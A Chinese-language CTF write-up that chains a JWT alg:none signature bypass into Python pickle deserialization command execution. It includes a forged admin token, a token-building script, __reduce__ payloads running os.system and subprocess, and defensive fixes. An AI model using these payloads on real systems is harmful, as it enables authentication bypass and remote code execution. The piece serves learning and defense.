1. 从一道CTF题看JWT与Pickle的碰撞点
做Web安全题做久了,你会发现一个规律:单一漏洞点越来越少见,出题人更喜欢把两三个看似不相关的机制串在一起,制造一条完整的利用链。第41天这道题就是典型——标题里同时出现了JWT和Python序列化pickle,乍一看像是两个独立的知识点,实际上它们在这道题里是咬合在一起的:JWT负责身份认证的绕过,pickle负责最终的代码执行。你得先过了JWT这一关,才能触碰到后面那个反序列化的入口。
这篇文章我打算把这道题的完整思路拆开讲。不是简单地贴一个payload就完事,而是把JWT的结构、签名机制、常见弱点,以及pickle反序列化的原理、构造方法、触发条件都过一遍。适合已经了解基本Web安全概念、但还没系统搞过JWT伪造和pickle利用的读者。如果你之前只是听说过这两个名词,看完应该能自己动手复现整条链路。
先说清楚这道题的核心逻辑:服务端用JWT做会话管理,但签名校验存在缺陷,导致我们可以伪造一个管理员身份的token。拿到管理员权限后,会发现一个接受序列化数据的接口,而它用的是pickle来反序列化——这就给了我们构造恶意对象、触发__reduce__执行任意命令的机会。两个漏洞单独看都不算新鲜,但组合起来就是一条从认证绕过到命令执行的完整路径。
提示:本文所有操作均在本地搭建的模拟环境中进行,目的是理解漏洞原理、提升防御意识。请勿对未授权的目标进行任何测试。
2. JWT的签名机制与那道题里的校验缺陷
2.1 JWT到底由什么组成
JWT全称JSON Web Token,本质是一个用点号分隔的三段式字符串,格式是header.payload.signature。很多人第一次接触会觉得它很神秘,其实拆开看非常朴素。
第一段header是一个Base64URL编码的JSON,通常长这样:
{"alg":"HS256","typ":"JWT"}alg字段声明了签名算法,typ就是类型标识。第二段payload也是Base64URL编码的JSON,存放实际数据,比如用户ID、角色、过期时间:
{"user":"guest","role":"user","exp":1700000000}第三段signature是对前两段的签名,服务端用它来验证token有没有被篡改。以HS256为例,签名算法是:
HMAC-SHA256(base64url(header) + "." + base64url(payload), secret)关键在于,前两段只是Base64编码,不是加密。任何人拿到token都能解出里面的内容,所以JWT从来不是用来隐藏数据的,它只保证完整性——你改了payload,签名就对不上。
2.2 这道题的校验缺陷在哪
常见的JWT攻击手法有好几种,这道题踩的是其中最经典的一个:算法混淆,也叫alg:none攻击的变体。
服务端原本期望用HS256验证签名,密钥是服务端自己持有的一个字符串。但如果代码在验证时,直接信任了token header里声明的alg字段,攻击者就可以把alg改成none,然后把signature部分留空。某些库在处理alg:none时会直接跳过签名校验,认为"用户自己声明不需要签名",于是伪造的token就被接受了。
这道题的具体表现是:服务端代码里有一段类似这样的逻辑——
header = jwt.get_unverified_header(token) if header['alg'] == 'none': # 直接信任payload,不校验签名 data = jwt.decode(token, options={"verify_signature": False})这种写法的问题在于,它把"用什么算法验证"的决定权交给了攻击者。正确做法应该是服务端硬编码自己期望的算法,比如jwt.decode(token, secret, algorithms=["HS256"]),绝不能让token自己说了算。
我构造的伪造token是这样的:header改成{"alg":"none","typ":"JWT"},payload改成{"user":"admin","role":"admin"},signature留空。拼起来就是:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.注意最后那个点号后面是空的,这就是alg:none的标志。把这个token塞进Cookie或Authorization头,服务端就认了。
2.3 为什么这种缺陷反复出现
你可能会想,这么明显的漏洞怎么还会有?实际情况是,很多开发者对JWT的理解停留在"用它做登录态"的层面,没有深究验证逻辑。加上一些老版本的JWT库默认行为不够安全,或者示例代码本身就写错了,导致这个问题在真实项目里并不罕见。
我在复现时踩过一个小坑:有些库对alg:none的处理是大小写敏感的,你写None、NONE可能都不行,必须是全小写none。还有的库要求signature段必须存在(哪怕是空字符串),所以末尾那个点号不能省。这些细节不试一遍是不知道的。
注意:防御JWT算法混淆的核心就一句话——服务端必须显式指定允许的算法白名单,永远不要从token里读取
alg来决定验证方式。
3. 拿到管理员身份后,pickle接口是怎么暴露出来的
3.1 权限提升后的功能发现
伪造token成功后,页面从普通用户视图切换到了管理员视图。这一步的体验很像真实渗透测试里的"横向移动"——你拿到了一个更高的身份,接下来要做的就是枚举这个身份能访问哪些新功能。
我习惯的做法是先看菜单和路由变化,再用目录扫描工具跑一遍。这道题里,管理员视图多了一个"数据导入"功能,接口是/admin/import,接受POST请求,参数是一个名为data的字段。从返回信息看,服务端会对这个字段做反序列化处理。
这里有个判断技巧:如果接口返回的错误信息里出现了pickle、unpickle、__reduce__这类字样,基本可以确定用的是Python的pickle模块。这道题比较直接,报错信息里就带了pickle.loads的调用栈片段。
3.2 pickle为什么危险
pickle是Python内置的序列化模块,能把对象转成字节流存起来,也能从字节流还原对象。问题就出在"还原"这一步——pickle.loads()在反序列化时,会执行字节流里指定的构造逻辑。如果这段字节流是攻击者可控的,那就等于让攻击者在服务端执行任意代码。
打个比方:pickle的字节流就像一份"组装说明书",里面写着"请调用某个函数,参数是某某"。pickle.loads()是个特别听话的工人,说明书上写什么它就做什么,完全不检查这个函数该不该被调用。而JSON这类格式只描述数据,不描述行为,所以安全得多。
pickle里最常被利用的魔术方法是__reduce__。当一个对象被pickle时,如果它定义了__reduce__,pickle就会调用它,返回值告诉pickle"怎么重建这个对象"。返回值通常是一个元组(callable, args),意思是"调用callable,参数是args"。攻击者只要让callable是os.system或subprocess.check_output,args是想要执行的命令,反序列化时命令就执行了。
3.3 构造恶意pickle的完整过程
我在本地写了一个生成payload的脚本:
import pickle import os class Exploit: def __reduce__(self): return (os.system, ('id',)) payload = pickle.dumps(Exploit()) print(payload)运行后会得到一串字节,把它Base64编码后作为data参数发出去。服务端执行pickle.loads()时,就会调用os.system('id'),把当前用户信息打印出来。
实测时要注意,os.system的返回值是命令的退出码,不是命令输出。如果你想拿到命令执行的结果回显,得用subprocess.check_output:
import pickle import subprocess class Exploit: def __reduce__(self): return (subprocess.check_output, (['id'],)) payload = pickle.dumps(Exploit())这样反序列化的返回值就是命令的输出内容,如果接口会把它回显出来,你就能直接看到结果。
3.4 一个容易忽略的编码问题
我第一次提交payload时失败了,报的是反序列化错误。排查后发现是编码问题:pickle生成的字节流里包含非ASCII字符,直接放进HTTP请求体会被破坏。正确做法是先做Base64编码,服务端那边应该也有对应的解码步骤。如果服务端没有自动解码,你可能需要根据它的处理逻辑调整,比如用URL编码或者十六进制。
这个细节提醒我们,构造payload时不能只关注逻辑对不对,传输层的编码同样关键。我现在的习惯是,任何二进制payload在发送前都先Base64,这是最稳妥的。
4. 把两个漏洞串成一条完整利用链
4.1 利用链的时序梳理
单独看JWT伪造和pickle反序列化,都是常规操作。但这道题的价值在于,它逼着你把两步连起来想。完整的利用流程是这样的:
- 访问登录接口,拿到一个普通用户的JWT,观察它的结构。
- 尝试把
alg改成none,payload里的role改成admin,去掉签名,重新提交。 - 如果服务端接受了伪造token,说明算法混淆攻击成功,此时你已经是管理员身份。
- 用管理员身份访问
/admin/import接口,确认它接受序列化数据。 - 构造恶意pickle payload,Base64编码后提交,触发命令执行。
- 通过命令执行读取flag或验证权限。
每一步都依赖前一步的成功。如果JWT那关过不了,你根本看不到import接口;如果pickle那关构造错了,命令执行就不会触发。
4.2 为什么出题人要把它们放一起
从出题角度看,这种组合考察的是"漏洞链"思维。真实环境里,单个高危漏洞往往被修得很及时,但多个中低危漏洞组合起来,照样能造成严重后果。JWT算法混淆单独看可能只是"认证绕过",pickle反序列化单独看需要"能提交数据"的前提,两者一结合,危害等级直接拉满。
从防御角度看,这也说明安全不能只盯着一个点。你修了JWT的算法校验,但pickle接口还在,攻击者可能通过其他方式拿到管理员权限;你禁用了pickle,但JWT还能伪造,攻击者可能找到别的危险接口。纵深防御的意思是,每一层都要做对。
4.3 复现时的时间线记录
我把复现过程的时间线整理了一下,方便你对照:
| 阶段 | 操作 | 预期结果 | 实际结果 |
|---|---|---|---|
| 1 | 登录获取普通token | 拿到合法JWT | 成功 |
| 2 | 解码token查看结构 | 看到alg和payload | 成功 |
| 3 | 伪造alg:none的admin token | 服务端接受 | 成功 |
| 4 | 访问管理员页面 | 看到import功能 | 成功 |
| 5 | 提交测试pickle | 触发反序列化 | 报错但确认调用 |
| 6 | 提交恶意pickle | 执行id命令 | 成功回显 |
这个表格里第5步很关键——先用一个无害的pickle确认接口确实在反序列化,再上恶意payload。直接上恶意payload如果失败,你分不清是接口不对还是payload不对。
5. 那些文档里不会写的踩坑细节
5.1 JWT的Base64URL和普通Base64不一样
很多人第一次手工构造JWT时会栽在这个细节上。JWT用的是Base64URL编码,它把标准Base64里的+换成-,/换成_,并且去掉末尾的=填充。如果你用普通Base64编码header和payload,生成的token可能因为字符差异被服务端拒绝。
我建议直接用Python的base64.urlsafe_b64encode,并且手动去掉=:
import base64 import json def b64url_encode(data): return base64.urlsafe_b64encode(data).rstrip(b'=').decode() header = b64url_encode(json.dumps({"alg":"none","typ":"JWT"}).encode()) payload = b64url_encode(json.dumps({"user":"admin","role":"admin"}).encode()) token = f"{header}.{payload}." print(token)这样生成的token才是符合规范的。
5.2 pickle的协议版本会影响payload
pickle.dumps()有个protocol参数,默认值随Python版本变化。不同协议版本生成的字节流格式不同,某些服务端环境可能只支持特定版本。如果payload提交后报"unsupported pickle protocol",就试试降低协议版本,比如pickle.dumps(obj, protocol=0)。协议0生成的是ASCII格式,兼容性最好,但体积大一些。
5.3 命令执行的回显问题
os.system不回显输出,这是新手最容易卡住的地方。如果你发现命令执行了但看不到结果,有几个思路:
- 换成
subprocess.check_output,让返回值携带输出。 - 用
os.popen('id').read(),同样能拿到输出。 - 如果接口不回显返回值,就构造带外通道,比如让命令把结果写到Web目录下的文件,再通过HTTP访问读取。
第三种方式在真实场景里更常用,因为很多接口不会把反序列化的返回值返回给你。
5.4 别忘了检查Python版本
pickle的利用方式和Python版本有一定关系。Python 2和Python 3的pickle字节流不完全兼容,__reduce__的返回值处理也有细微差别。复现前先确认目标环境的Python版本,能省不少调试时间。这道题的环境是Python 3,所以我用的payload都是Python 3格式。
6. 从攻击手法反推防御方案
6.1 JWT这边该怎么修
最核心的一条:服务端必须硬编码验证算法。不要从token的header里读alg,而是明确告诉库"我只接受HS256":
jwt.decode(token, secret, algorithms=["HS256"])这样即使攻击者把alg改成none,库也会因为算法不在白名单里而拒绝。另外,密钥要足够复杂,不要用弱口令,否则HS256的密钥还能被爆破。
还有一点,如果业务上不需要none算法,确保使用的库版本没有相关漏洞。老版本的一些JWT库对alg:none处理不当,升级到最新版能规避一批已知问题。
6.2 pickle这边该怎么防
最彻底的办法是不要用pickle处理不可信数据。如果只是传数据,用JSON、MessagePack这类纯数据格式。如果确实需要序列化复杂对象,考虑用json配合自定义的编解码逻辑,或者用itsdangerous这类带签名验证的序列化方案。
如果业务上非用pickle不可,那至少要保证数据来源可信,比如只处理服务端自己生成的数据,不接受用户提交。同时可以对反序列化的类做白名单限制,通过重写find_class方法,只允许特定的安全类被加载:
import pickle import io class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module == "builtins" and name in ("dict", "list", "str", "int"): return super().find_class(module, name) raise pickle.UnpicklingError(f"不允许加载: {module}.{name}") def restricted_loads(data): return RestrictedUnpickler(io.BytesIO(data)).load()这样即使攻击者构造了恶意payload,也会因为类不在白名单里而失败。
6.3 纵深防御的思路
这道题最大的启示是:不要指望单点防御。JWT校验做对了,pickle接口还是危险的;pickle禁用了,万一还有别的反序列化点呢?合理的做法是每一层都假设前一层可能被突破,然后各自做好自己的防护。
具体到这道题,如果JWT校验严格了,攻击者拿不到管理员身份,pickle接口就碰不到;如果pickle接口做了白名单,即使攻击者伪造了管理员token,也执行不了命令。两层都做对,利用链就断了。
7. 这类组合题的一般化解题思路
7.1 先画攻击面地图
拿到一道题,别急着上手试payload。先花几分钟把攻击面理清楚:有哪些入口、哪些接口、哪些参数、哪些认证机制。这道题的攻击面就两个——登录接口和import接口,中间用JWT串起来。把地图画出来,思路自然就清晰了。
我习惯用纸笔或者文本编辑器列一个简单的清单:
- 入口1:登录,产出JWT
- 入口2:import,消费序列化数据
- 连接点:JWT决定能否访问import
7.2 逐个验证假设
每个环节都要有明确的验证动作。怀疑JWT有算法混淆,就构造一个alg:none的token试试;怀疑import用pickle,就提交一个无害的pickle看报错。不要凭猜测往下走,每一步都要有反馈。
这道题里,我验证JWT缺陷用了不到两分钟——改header、改payload、去签名、提交,看返回。验证pickle也很快——提交一个pickle.dumps({"test":1}),看服务端是正常处理还是报错。两个假设都验证通过后,剩下的就是构造最终payload。
7.3 构造最小可用payload
能执行id就够了,不要一上来就写复杂的反弹shell。最小payload的好处是调试简单,出问题容易定位。等id能执行了,再根据需要升级payload。这道题的目标是读flag,那cat flag就够了,没必要搞复杂。
7.4 记录每一步的输入输出
复现过程中,把每一步的请求和响应都记下来。一方面方便回溯,另一方面如果中途卡住,可以对比哪一步的结果和预期不符。我这次复现就记了十几个请求响应,最后整理成前面那个时间线表格,回头看非常清晰。
8. 我在这道题里学到的几件事
做完这道题,最大的收获不是学会了某个具体payload,而是理解了"漏洞链"的思维方式。单个漏洞可能被各种防护挡住,但组合起来往往能绕过很多限制。JWT算法混淆本身不算高危,pickle反序列化需要入口,两者一结合,就是一条完整的命令执行路径。
另一个体会是,工具和库的默认行为不一定安全。JWT库允许从token读alg,pickle默认执行任意构造逻辑,这些都是"方便"换来的代价。作为开发者,用这些工具时得多问一句"它的默认行为在我的场景里安全吗";作为安全学习者,则要理解这些默认行为背后的机制,才能知道从哪里突破。
最后说个实操建议:复现这类题目时,一定要在本地环境做,把服务端代码读一遍。光看payload不知道为什么这么构造,读代码能让你明白每一步为什么有效。这道题我读了服务端的JWT验证逻辑和import接口的处理逻辑,比单纯跑通payload收获大得多。下次遇到类似的组合题,你也能自己拆解。